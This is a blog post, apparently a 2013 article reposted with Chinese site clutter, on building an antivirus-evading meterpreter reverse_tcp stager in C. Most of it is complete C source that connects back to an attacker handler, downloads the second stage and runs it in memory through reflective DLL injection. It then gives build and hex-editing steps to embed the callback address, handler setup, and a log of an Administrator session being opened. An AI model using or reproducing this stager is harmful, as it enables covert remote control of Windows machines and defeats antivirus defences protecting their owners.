Evade antivirus convert shellcode to c

Evade antivirus convert shellcode to c

Posted: February 4, 2013 in generalsecurity
Tags: antivirusbypassevademeterpreter stagershellcode
12

So another way to have a meterpreter stager bypass AV is to just port the shellcode to C instead of obfuscating it like I explained in my previous article, still assuming psexec like purposes here.

0

Assembly always seems terrifying if you’ve never worked with it previously, but just like all source code it depends on the coder if it really is terrifying. Take for example the shellcode for the meterpreter stages, that’s some neat code and easy to read also thanks to the comments. Let’s take a look at all the asm for the meterpreter/reverse_tcp stager and determine what it does:

Since we are coding in C there is a lot of stuff we don’t need to convert, for example the API resolving is not really needed. So basically what we have to do is:

  • connect to metasploit handler
  • get the second stage
  • execute it in memory

For the impatient ones, here is the C code you can compile and use. For the ones interested on how to compile and use it, read on.

/*
    Author: DiabloHorn https://diablohorn.wordpress.com
    Undetected meterpreter/reverse_tcp stager
    Compile as C
    Disable optimization, this could help you later on
    when signatures are written to detect this. With a bit of luck
        all you have to do then is compile with optimization.
 
*/
#include <WinSock2.h>
#include <Windows.h>
#include <stdio.h>
 
#include "LoadLibraryR.h"
#include "GetProcAddressR.h"
 
#pragma comment(lib, "ws2_32.lib")
 
int initwsa();
short getcinfo(char *,char *,int);
SOCKET getsocket(char *);
DWORD WINAPI threadexec(LPVOID);
 
/* setting up the meterpreter init function */
typedef DWORD (__cdecl * MyInit) (SOCKET fd);
MyInit meterpreterstart;
 
/* http://msdn.microsoft.com/en-us/library/windows/desktop/ms738545(v=vs.85).aspx */
WSADATA wsa;
 
/*
    doit
*/
int CALLBACK WinMain(_In_  HINSTANCE hInstance,_In_  HINSTANCE hPrevInstance,_In_  LPSTR lpCmdLine,_In_  int nCmdShow){
    HANDLE threadhandle;
    DWORD  threadid;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    char szPath[MAX_PATH];
 
    GetModuleFileName(NULL,szPath,MAX_PATH);
    ZeroMemory( &si, sizeof(si) );
    si.cb = sizeof(si);
    ZeroMemory( &pi, sizeof(pi) );
 
    /* Quick & Dirty hack to make this usable for psexec like stuff
       When executed the first time it will spawn itself this makes
       sure we return on time and don't get killed by the servicemanager
    */
 
    if(strlen(lpCmdLine) == 0){
        strcat_s(szPath,MAX_PATH," 1");
        CreateProcess(NULL,szPath,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi);
    }
 
    if(strlen(lpCmdLine) > 0){
        //thread just for fun...no real purpose atm
        threadhandle = CreateThread(NULL,0,threadexec,szPath,0,&threadid);
        WaitForSingleObject(threadhandle,INFINITE);
    }
}
 
/* http://msdn.microsoft.com/en-us/library/windows/desktop/ms682516(v=vs.85).aspx
    read port:ip
    Receive stage
    Load it using reflectivedllinjection
*/
DWORD WINAPI threadexec(LPVOID exename){
    SOCKET meterpretersock;
    int response = 0;
    int total = 0;
    char *payload;
    char recvbuf[1024];
    DWORD payloadlength = 0;
    HMODULE loadedfile = NULL;
 
    if(initwsa() != 0){
        exit(0);
    }
 
    meterpretersock = getsocket((char *)exename);
    response = recv(meterpretersock, (char *)&payloadlength, sizeof(DWORD), 0);
 
    payload = (char *)malloc(payloadlength);
    memset(payload,0,payloadlength);
    memset(recvbuf,0,1024);
 
    do{
        response = recv(meterpretersock, recvbuf, 1024, 0);
        memcpy(payload,recvbuf,response);
        payload += response;
        total += response;
        payloadlength -= response;
 
    }while(payloadlength > 0);
    payload -= total;
    loadedfile = LoadLibraryR(payload,total);
    meterpreterstart = (MyInit) GetProcAddressR(loadedfile,"Init");
    meterpreterstart(meterpretersock);
 
    free(payload);
    //closesocket(sock); meterpreter is still using it
}
/*
    Get a socket which is allready connected back
*/
SOCKET getsocket(char *self){
    SOCKADDR_IN dinfo;
    SOCKET sock;
    int respcode = 0;
    char *ipaddr = (char *)malloc(sizeof(char)*25);
    short port = 0;
 
    memset(ipaddr,0,sizeof(char)*16);
    port = getcinfo(self,ipaddr,16);
 
    sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(sock == INVALID_SOCKET){
        printf("socket failed\n");
        exit(0);
    }
    dinfo.sin_family = AF_INET;
    dinfo.sin_addr.s_addr = inet_addr(ipaddr);
    dinfo.sin_port = htons(port);
 
    respcode = connect(sock, (SOCKADDR *) &dinfo, sizeof (dinfo));
    if(respcode == SOCKET_ERROR){
        exit(0);
    }
    free(ipaddr);
    return sock;
}
 
/*
    Initialize winsock
*/
int initwsa(){
    int wsaerror = 0;
    //wsa is defined above main
    wsaerror = WSAStartup(MAKEWORD(2,2),&wsa);
    if(wsaerror != 0){
        return -1;
    }
    return 0;
}
 
/*
    Get ip address and port information from our own executable
    Feel free to hardcode it instead of doing this
*/
short getcinfo(char *self,char *ipaddr,int len){
    int i = 0;
    int offset = 0x4e;
    //[port as little endian hex][ip as string \0 terminated]
    //9999 -> 270f -> 0f27
    //127.0.0.1 -> 127.0.0.1
    //make sure to padd with \0's until max buffer, or this will read weird stuff
    short port = 0;
    FILE * file = fopen(self, "r");
    fseek(file,offset,SEEK_SET);
    fread((void *)&port,(size_t)sizeof(short),1,file);
    fread(ipaddr,(size_t)len,1,file);
    fclose(file);
    return port;
}

Now let’s see how to convert the above to a working executable. First of all you’ll need a compiler, personally I prefer visual studio c++ 2010 express. It’s free and the IDE & debugger combo rock.
Create a new project and choose a win32 project. Don’t choose a win32 console application. The reason for this (besides the above src not compiling) is that if you use a traditional main when using psexec it will show a popup requiring attention. In the next window click next and tick the box that says ‘empty project’, then hit finish.

Create a C file like this:

1

2

Now paste the above code into it, don’t hit build immediately since it won’t build we need to add a few files first. We need the following files:

  • LoadLibraryR.c
  • LoadLibraryR.h
  • GetProcAddress.c
  • GetProcAddress.h
  • ReflectiveDLLInjection.h

Which we again can get from the metasploit github:

Put them all in the same place as the C you created before. Then just add them to the project the same way you added the initial C file but instead of “new item” you choose “existing item”. Your visual studio should now look like this:

3

Next change the settings to use multi-byte characterset instead of unicode:

4

If you now set the configuration to “release” instead of “debug” and right click on the project to rebuild, it should compile just fine. Gives a few warnings due to me being lazy, but it will run. If you do not want to see msvcrt errors you’ll also have to change the following setting to what is set in the red box:

5

If you have looked at the source you’ll know that this executable won’t run just yet. It needs to be modified. I choose to embed the connect back IP and port information in the executable instead of having to recompile it every time I want to use it. This means that we have to hexedit our executable now and provide the connect back details. Start your favorite hex editor, I use frhed. Here is an example on how to edit it, let’s assume our connect back information is this: 127.0.0.1:1234  the format we want to have before we start hex editing is everything in hex. In this case 1234 becomes 04D2 and since it has to be little endian it becomes D204. The IP address becomes 3132372e302e302e31. So the whole string that should be hex edited into the executable becomes (spaces for readability):

d2 04 31 32 37 2e 30 2e 30 2e 31 00

Exactly, don’t forget to null byte (0x00) terminate that string or we sure will be connecting to some weird IP addresses, now just put that data in the executable starting at offset 0x4e. If everything went according to plan it now should look like this:

6

That’s all. If you now start a exploit/multi/handler and configure it with a windows/meterpreter/reverse_tcp it should all work as planned. Just as funny information, if you disable all optimization and upload the executable to virustotal is gets 1/46 as heuristic malware. So don’t forget that just recompiling and optimizing source does help a lot of times to evade antivirus, as explained in another post of mine.

AYLOAD => windows/meterpreter/reverse_tcp
LHOST => 10.50.0.103
LPORT => 9999
[*] Started reverse handler on 10.50.0.103:9999 
[*] Starting the payload handler...
[*] Sending stage (762880 bytes) to 10.50.0.101
[*] Meterpreter session 1 opened (10.50.0.103:9999 -> 10.50.0.101:49264) at 2013-01-25 00:57:28 +0100

meterpreter > getuid
Server username: WIN-WIN\Administrator

转载: https://diablohorn.wordpress.com/2013/02/04/evade-antivirus-convert-shellcode-to-c/   (自备梯子)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值